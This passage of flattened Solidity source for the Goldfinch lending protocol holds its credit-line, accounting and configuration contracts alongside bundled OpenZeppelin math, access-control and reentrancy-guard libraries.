* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./CreditLine.sol";
import "../external/FixedPoint.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/math/Math.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
/**
* @title The Accountant
* @notice Library for handling key financial calculations, such as interest and principal accrual.
* @author Goldfinch
*/
library Accountant {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Signed;
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for int256;
using FixedPoint for uint256;
// Scaling factor used by FixedPoint.sol. We need this to convert the fixed point raw values back to unscaled
uint256 public constant FP_SCALING_FACTOR = 10**18;
uint256 public constant INTEREST_DECIMALS = 1e8;
uint256 public constant BLOCKS_PER_DAY = 5760;
uint256 public constant BLOCKS_PER_YEAR = (BLOCKS_PER_DAY * 365);
struct PaymentAllocation {
uint256 interestPayment;
uint256 principalPayment;
uint256 additionalBalancePayment;
}
function calculateInterestAndPrincipalAccrued(
CreditLine cl,
uint256 blockNumber,
uint256 lateFeeGracePeriod
) public view returns (uint256, uint256) {
uint256 interestAccrued = calculateInterestAccrued(cl, blockNumber, lateFeeGracePeriod);
uint256 principalAccrued = calculatePrincipalAccrued(cl, blockNumber);
return (interestAccrued, principalAccrued);
}
function calculatePrincipalAccrued(CreditLine cl, uint256 blockNumber) public view returns (uint256) {
if (blockNumber >= cl.termEndBlock()) {
return cl.balance();
} else {
return 0;
}
}
function calculateWritedownFor(
CreditLine cl,
uint256 blockNumber,
uint256 gracePeriodInDays,
uint256 maxDaysLate
) public view returns (uint256, uint256) {
FixedPoint.Unsigned memory amountOwedPerDay = calculateAmountOwedForOneDay(cl);
if (amountOwedPerDay.isEqual(0)) {
return (0, 0);
}
FixedPoint.Unsigned memory fpGracePeriod =
FixedPoint.min(
FixedPoint.fromUnscaledUint(gracePeriodInDays),
FixedPoint.fromUnscaledUint(cl.paymentPeriodInDays())
);
FixedPoint.Unsigned memory daysLate;
// Excel math: =min(1,max(0,periods_late_in_days-graceperiod_in_days)/MAX_ALLOWED_DAYS_LATE) grace_period = 30,
// Before the term end block, we use the interestOwed to calculate the periods late. However, after the loan term
// has ended, since the interest is a much smaller fraction of the principal, we cannot reliably use interest to
// calculate the periods later.
uint256 totalOwed = cl.interestOwed().add(cl.principalOwed());
daysLate = FixedPoint.fromUnscaledUint(totalOwed).div(amountOwedPerDay);
if (blockNumber > cl.termEndBlock()) {
uint256 blocksLate = blockNumber.sub(cl.termEndBlock());
daysLate = daysLate.add(FixedPoint.fromUnscaledUint(blocksLate).div(BLOCKS_PER_DAY));
}
FixedPoint.Unsigned memory maxLate = FixedPoint.fromUnscaledUint(maxDaysLate);
FixedPoint.Unsigned memory writedownPercent;
if (daysLate.isLessThanOrEqual(fpGracePeriod)) {
// Within the grace period, we don't have to write down, so assume 0%
writedownPercent = FixedPoint.fromUnscaledUint(0);
} else {
writedownPercent = FixedPoint.min(FixedPoint.fromUnscaledUint(1), (daysLate.sub(fpGracePeriod)).div(maxLate));
}
FixedPoint.Unsigned memory writedownAmount = writedownPercent.mul(cl.balance()).div(FP_SCALING_FACTOR);
// This will return a number between 0-100 representing the write down percent with no decimals
uint256 unscaledWritedownPercent = writedownPercent.mul(100).div(FP_SCALING_FACTOR).rawValue;
return (unscaledWritedownPercent, writedownAmount.rawValue);
}
function calculateAmountOwedForOneDay(CreditLine cl) public view returns (FixedPoint.Unsigned memory) {
// Determine theoretical interestOwed for one full day
uint256 totalInterestPerYear = cl.balance().mul(cl.interestApr()).div(INTEREST_DECIMALS);
FixedPoint.Unsigned memory interestOwed = FixedPoint.fromUnscaledUint(totalInterestPerYear).div(365);
return interestOwed;
}
function calculateInterestAccrued(
CreditLine cl,
uint256 blockNumber,
uint256 lateFeeGracePeriodInDays
) public view returns (uint256) {
// We use Math.min here to prevent integer overflow (ie. go negative) when calculating
// numBlocksElapsed. Typically this shouldn't be possible, because
// the interestAccruedAsOfBlock couldn't be *after* the current blockNumber. However, when assessing
// we allow this function to be called with a past block number, which raises the possibility
// of overflow.
// This use of min should not generate incorrect interest calculations, since
// this functions purpose is just to normalize balances, and will be called any time
// a balance affecting action takes place (eg. drawdown, repayment, assessment)
uint256 interestAccruedAsOfBlock = Math.min(blockNumber, cl.interestAccruedAsOfBlock());
uint256 numBlocksElapsed = blockNumber.sub(interestAccruedAsOfBlock);
uint256 totalInterestPerYear = cl.balance().mul(cl.interestApr()).div(INTEREST_DECIMALS);
uint256 interestOwed = totalInterestPerYear.mul(numBlocksElapsed).div(BLOCKS_PER_YEAR);
if (lateFeeApplicable(cl, blockNumber, lateFeeGracePeriodInDays)) {
uint256 lateFeeInterestPerYear = cl.balance().mul(cl.lateFeeApr()).div(INTEREST_DECIMALS);
uint256 additionalLateFeeInterest = lateFeeInterestPerYear.mul(numBlocksElapsed).div(BLOCKS_PER_YEAR);
interestOwed = interestOwed.add(additionalLateFeeInterest);
}
return interestOwed;
}
function lateFeeApplicable(
CreditLine cl,
uint256 blockNumber,
uint256 gracePeriodInDays
) public view returns (bool) {
uint256 blocksLate = blockNumber.sub(cl.lastFullPaymentBlock());
gracePeriodInDays = Math.min(gracePeriodInDays, cl.paymentPeriodInDays());
return cl.lateFeeApr() > 0 && blocksLate > gracePeriodInDays.mul(BLOCKS_PER_DAY);
}
function allocatePayment(
uint256 paymentAmount,
uint256 balance,
uint256 interestOwed,
uint256 principalOwed
) public pure returns (PaymentAllocation memory) {
uint256 paymentRemaining = paymentAmount;
uint256 interestPayment = Math.min(interestOwed, paymentRemaining);
paymentRemaining = paymentRemaining.sub(interestPayment);
uint256 principalPayment = Math.min(principalOwed, paymentRemaining);
paymentRemaining = paymentRemaining.sub(principalPayment);
uint256 balanceRemaining = balance.sub(principalPayment);
uint256 additionalBalancePayment = Math.min(paymentRemaining, balanceRemaining);
return
PaymentAllocation({
interestPayment: interestPayment,
principalPayment: principalPayment,
additionalBalancePayment: additionalBalancePayment
});
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./GoldfinchConfig.sol";
import "./BaseUpgradeablePausable.sol";
import "../interfaces/IERC20withDec.sol";
/**
* @title CreditLine
* @notice A "dumb" state container that represents the agreement between an Underwriter and
* the borrower. Includes the terms of the loan, as well as the current accounting state, such as interest owed.
* This contract purposefully has essentially no business logic. Really just setters and getters.
* @author Goldfinch
*/
// solhint-disable-next-line max-states-count
contract CreditLine is BaseUpgradeablePausable {
// Credit line terms
address public borrower;
address public underwriter;
uint256 public limit;
uint256 public interestApr;
uint256 public paymentPeriodInDays;
uint256 public termInDays;
uint256 public lateFeeApr;
// Accounting variables
uint256 public balance;
uint256 public interestOwed;
uint256 public principalOwed;
uint256 public termEndBlock;
uint256 public nextDueBlock;
uint256 public interestAccruedAsOfBlock;
uint256 public writedownAmount;
uint256 public lastFullPaymentBlock;
function initialize(
address owner,
address _borrower,
address _underwriter,
uint256 _limit,
uint256 _interestApr,
uint256 _paymentPeriodInDays,
uint256 _termInDays,
uint256 _lateFeeApr
) public initializer {
require(owner != address(0) && _borrower != address(0) && _underwriter != address(0), "Zero address passed in");
__BaseUpgradeablePausable__init(owner);
borrower = _borrower;
underwriter = _underwriter;
limit = _limit;
interestApr = _interestApr;
paymentPeriodInDays = _paymentPeriodInDays;
termInDays = _termInDays;
lateFeeApr = _lateFeeApr;
interestAccruedAsOfBlock = block.number;
}
function setTermEndBlock(uint256 newTermEndBlock) external onlyAdmin {
termEndBlock = newTermEndBlock;
}
function setNextDueBlock(uint256 newNextDueBlock) external onlyAdmin {
nextDueBlock = newNextDueBlock;
}
function setBalance(uint256 newBalance) external onlyAdmin {
balance = newBalance;
}
function setInterestOwed(uint256 newInterestOwed) external onlyAdmin {
interestOwed = newInterestOwed;
}
function setPrincipalOwed(uint256 newPrincipalOwed) external onlyAdmin {
principalOwed = newPrincipalOwed;
}
function setInterestAccruedAsOfBlock(uint256 newInterestAccruedAsOfBlock) external onlyAdmin {
interestAccruedAsOfBlock = newInterestAccruedAsOfBlock;
}
function setWritedownAmount(uint256 newWritedownAmount) external onlyAdmin {
writedownAmount = newWritedownAmount;
}
function setLastFullPaymentBlock(uint256 newLastFullPaymentBlock) external onlyAdmin {
lastFullPaymentBlock = newLastFullPaymentBlock;
}
function setLateFeeApr(uint256 newLateFeeApr) external onlyAdmin {
lateFeeApr = newLateFeeApr;
}
function setLimit(uint256 newAmount) external onlyAdminOrUnderwriter {
limit = newAmount;
}
function authorizePool(address configAddress) external onlyAdmin {
GoldfinchConfig config = GoldfinchConfig(configAddress);
address poolAddress = config.getAddress(uint256(ConfigOptions.Addresses.Pool));
address usdcAddress = config.getAddress(uint256(ConfigOptions.Addresses.USDC));
// Approve the pool for an infinite amount
bool success = IERC20withDec(usdcAddress).approve(poolAddress, uint256(-1));
require(success, "Failed to approve USDC");
}
modifier onlyAdminOrUnderwriter() {
require(isAdmin() || _msgSender() == underwriter, "Restricted to owner or underwriter");
_;
}
}
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./BaseUpgradeablePausable.sol";
import "./ConfigOptions.sol";
/**
* @title GoldfinchConfig
* @notice This contract stores mappings of useful "protocol config state", giving a central place
* for all other contracts to access it. For example, the TransactionLimit, or the PoolAddress. These config vars
* are enumerated in the `ConfigOptions` library, and can only be changed by admins of the protocol.
* @author Goldfinch
*/
contract GoldfinchConfig is BaseUpgradeablePausable {
mapping(uint256 => address) public addresses;
mapping(uint256 => uint256) public numbers;
event AddressUpdated(address owner, string name, address oldValue, address newValue);
event NumberUpdated(address owner, string name, uint256 oldValue, uint256 newValue);
function initialize(address owner) public initializer {
__BaseUpgradeablePausable__init(owner);
}
function setAddress(uint256 addressKey, address newAddress) public onlyAdmin {
require(addresses[addressKey] == address(0), "Address has already been initialized");
emit AddressUpdated(msg.sender, ConfigOptions.getAddressName(addressKey), addresses[addressKey], newAddress);
addresses[addressKey] = newAddress;
}
function setNumber(uint256 number, uint256 newNumber) public onlyAdmin {
emit NumberUpdated(msg.sender, ConfigOptions.getNumberName(number), numbers[number], newNumber);
numbers[number] = newNumber;
}
function setCreditLineImplementation(address newCreditLine) public onlyAdmin {
uint256 addressKey = uint256(ConfigOptions.Addresses.CreditLineImplementation);
emit AddressUpdated(msg.sender, ConfigOptions.getAddressName(addressKey), addresses[addressKey], newCreditLine);
addresses[addressKey] = newCreditLine;
}
function setTreasuryReserve(address newTreasuryReserve) public onlyAdmin {
uint256 key = uint256(ConfigOptions.Addresses.TreasuryReserve);
emit AddressUpdated(msg.sender, ConfigOptions.getAddressName(key), addresses[key], newTreasuryReserve);
addresses[key] = newTreasuryReserve;
}
/*
Using custom getters incase we want to change underlying implementation later,
or add checks or validations later on.
*/
function getAddress(uint256 addressKey) public view returns (address) {
// Cheap way to see if it's an invalid number
ConfigOptions.Addresses(addressKey);
return addresses[addressKey];
}
function getNumber(uint256 number) public view returns (uint256) {
// Cheap way to see if it's an invalid number
ConfigOptions.Numbers(number);
return numbers[number];
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/Initializable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "./PauserPausable.sol";
/**
* @title BaseUpgradeablePausable contract
* @notice This is our Base contract that most other contracts inherit from. It includes many standard
* useful abilities like ugpradeability, pausability, access control, and re-entrancy guards.
* @author Goldfinch
*/
contract BaseUpgradeablePausable is
Initializable,
AccessControlUpgradeSafe,
PauserPausable,
ReentrancyGuardUpgradeSafe
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
using SafeMath for uint256;
// Pre-reserving a few slots in the base contract in case we need to add things in the future.
// This does not actually take up gas cost or storage cost, but it does reserve the storage slots.
// See OpenZeppelin's use of this pattern here:
// https://github.com/OpenZeppelin/openzeppelin-contracts-ethereum-package/blob/master/contracts/GSN/Context.sol#L37
uint256[50] private __gap1;
uint256[50] private __gap2;
uint256[50] private __gap3;
uint256[50] private __gap4;
// solhint-disable-next-line func-name-mixedcase
function __BaseUpgradeablePausable__init(address owner) public initializer {
require(owner != address(0), "Owner cannot be the zero address");
__AccessControl_init_unchained();
__Pausable_init_unchained();
__ReentrancyGuard_init_unchained();
_setupRole(OWNER_ROLE, owner);
_setupRole(PAUSER_ROLE, owner);
_setRoleAdmin(PAUSER_ROLE, OWNER_ROLE);
_setRoleAdmin(OWNER_ROLE, OWNER_ROLE);
}
function isAdmin() public view returns (bool) {
return hasRole(OWNER_ROLE, _msgSender());
}
modifier onlyAdmin() {
require(isAdmin(), "Must have admin role to perform this action");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
/*
Only addition is the `decimals` function, which we need, and which both our Fidu and USDC use, along with most ERC20's.
*/
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20withDec is IERC20 {
/**
* @dev Returns the number of decimals used for the token
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title ConfigOptions
* @notice A central place for enumerating the configurable options of our GoldfinchConfig contract
* @author Goldfinch
*/
library ConfigOptions {
// NEVER EVER CHANGE THE ORDER OF THESE!
// You can rename or append. But NEVER change the order.
enum Numbers {
TransactionLimit,
TotalFundsLimit,
MaxUnderwriterLimit,
ReserveDenominator,
WithdrawFeeDenominator,
LatenessGracePeriodInDays,
LatenessMaxDays
}
enum Addresses {
Pool,
CreditLineImplementation,
CreditLineFactory,
CreditDesk,
Fidu,
USDC,
TreasuryReserve,
ProtocolAdmin
}
function getNumberName(uint256 number) public pure returns (string memory) {
Numbers numberName = Numbers(number);
if (Numbers.TransactionLimit == numberName) {
return "TransactionLimit";
}
if (Numbers.TotalFundsLimit == numberName) {
return "TotalFundsLimit";
}
if (Numbers.MaxUnderwriterLimit == numberName) {
return "MaxUnderwriterLimit";
}
if (Numbers.ReserveDenominator == numberName) {
return "ReserveDenominator";
}
if (Numbers.WithdrawFeeDenominator == numberName) {
return "WithdrawFeeDenominator";
}
if (Numbers.LatenessGracePeriodInDays == numberName) {
return "LatenessGracePeriodInDays";
}
if (Numbers.LatenessMaxDays == numberName) {
return "LatenessMaxDays";
}
revert("Unknown value passed to getNumberName");
}
function getAddressName(uint256 addressKey) public pure returns (string memory) {
Addresses addressName = Addresses(addressKey);
if (Addresses.Pool == addressName) {
return "Pool";
}
if (Addresses.CreditLineImplementation == addressName) {
return "CreditLineImplementation";
}
if (Addresses.CreditLineFactory == addressName) {
return "CreditLineFactory";
}
if (Addresses.CreditDesk == addressName) {
return "CreditDesk";
}
if (Addresses.Fidu == addressName) {
return "Fidu";
}
if (Addresses.USDC == addressName) {
return "USDC";
}
if (Addresses.TreasuryReserve == addressName) {
return "TreasuryReserve";
}
if (Addresses.ProtocolAdmin == addressName) {
return "ProtocolAdmin";
}
revert("Unknown value passed to getAddressName");
}
}
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
import "../Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
import "../Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuardUpgradeSafe is Initializable {
bool private _notEntered;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
uint256[49] private __gap;
}
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-ethereum-package/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol";
/**
* @title PauserPausable
* @notice Inheriting from OpenZeppelin's Pausable contract, this does small
* augmentations to make it work with a PAUSER_ROLE, leveraging the AccessControl contract.
* It is meant to be inherited.
* @author Goldfinch
*/
contract PauserPausable is AccessControlUpgradeSafe, PausableUpgradeSafe {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
// solhint-disable-next-line func-name-mixedcase
function __PauserPausable__init() public initializer {
__Pausable_init_unchained();
}
/**
* @dev Pauses all functions guarded by Pause
*
* See {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the PAUSER_ROLE.
*/
function pause() public onlyPauserRole {
_pause();
}
/**
* @dev Unpauses the contract
*
* See {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the Pauser role
*/
function unpause() public onlyPauserRole {
_unpause();
}
modifier onlyPauserRole() {
require(hasRole(PAUSER_ROLE, _msgSender()), "Must have pauser role to perform this action");
_;
}
}
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
